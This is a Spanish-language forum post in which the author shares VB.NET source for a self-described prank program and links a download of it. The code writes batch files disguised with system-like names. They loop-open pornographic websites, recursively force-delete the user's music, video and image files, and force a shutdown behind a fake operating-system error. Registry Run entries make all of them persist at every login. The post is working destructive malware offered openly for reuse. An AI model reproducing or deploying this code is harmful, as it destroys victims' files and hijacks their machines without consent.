bueno primero que nada ola a todos me acabo de registrar en esta web que la vdd me a sacado de varios apuros y pues ahora pienso apollar yo jeje bueno lo que acabo de hacer porque lo acabo de terminar!! oficialmente martes 2:00 a.m. voy terminando este programita, muchos lo veran como un virus yo sin embargo lo veo como un programa que simplemente le habla al S.O. en su idioma nativo que es el cmd o ms-dos o como lo quieran llamar y le dice que se autodestruya o que se haga daño el mismo jeje bueno sin mas preambulos les quiero dejar el codigo para que aporten sus ideas y comenten cualquier sugerencia es bien aceptada. . . el codigo esta en vb.net 2008
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
paginasweb()
congelador()
Inicio()
apagado()
End Sub
Public Sub apagado()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub paginasweb()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
sw.WriteLine(":bucle")
sw.WriteLine("start www.pornhub.com")
sw.WriteLine("start www.youporn.com")
sw.WriteLine("start www.megaporn.com")
sw.WriteLine("goto bucle")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("c:\archivos de sistema\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub congelador()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
sw.WriteLine("@echo off")
sw.WriteLine("cd..")
sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Process.Start("c:\archivos de sistema\windows.dll.bat")
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub Inicio()
Try
'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"
'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
Dim valor As String
Dim valor2 As String
Dim valor3 As String
'aqui ponemos la ruta del programa en si
valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
clave.SetValue("Windows", valor)
valor2 = "c:\archivos de sistema\archivo.dll.bat"
clave.SetValue("paginas", valor2)
valor3 = "c:\archivos de sistema\windows.dll.bat"
clave.SetValue("documentos", valor3)
'comenzar un programa pasando una cadena con el nombre del ejecutable
System.Diagnostics.Process.Start("Regedit.exe")
Catch pollo As Exception
'si hay errores, mostrar un aviso
MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
'siempre cerrar el formulario al final
Finally
Me.Close()
End Try
End Sub
End Class
bueno por si no lo entienden o quieren verlo trabajar les dejo el link para que se lo descarguen y lo puedan visualizar un poco mejor
http://www.megaupload.com/?d=0CL4SXUYpues es todo espero sus comentarios quejas dudas o sugerencias y ya me voy a dormir jeje . . . . .